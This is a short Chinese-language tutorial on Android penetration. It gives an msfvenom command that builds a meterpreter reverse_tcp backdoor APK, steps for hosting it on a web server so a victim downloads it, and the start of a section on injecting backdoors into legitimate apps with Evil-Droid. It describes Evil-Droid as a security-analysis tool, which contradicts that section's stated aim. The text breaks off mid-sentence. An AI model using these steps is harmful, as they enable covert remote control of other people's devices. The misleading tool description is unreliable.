安卓客户端渗透

在此声明文章仅供相互学习参考，严禁利用于违法犯罪，任何事故自行承担！！

一、生成APK后门

通过 MSF 生成一个 apk 的后门应用

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 R > hack.apk

将它移到/var/www/html/目录下

mv hack.apk /var/www/html/

在Windows上下载，并在模拟器中安装再打开，和其他的渗透测试的一样的步骤监听等待目标机上返回连接，kali即可获得权限

 当然也可以下载到自己手机中，最好是已经换下来的旧手机

二、注入后门到APP

首先要禁用IPV6，不然可能会影响生成的payload质量

使用命令echo "net.ipv6.conf.eth0.disable_ipv6=1" \>\>/etc/sysctl.conf

然后通过sysctl -p检查

我们使用Evil-Droid工具，这是一个基于Python的开源工具，专门用于自动化安卓应用的安全分析。它旨在帮助安全研究人员、开发人员和普通用户快速检测潜在的恶意行为或漏洞，并理解应用程序的工作原理。

将安装Evil-Droid工具上传并解压进入目录中

这个工具会检测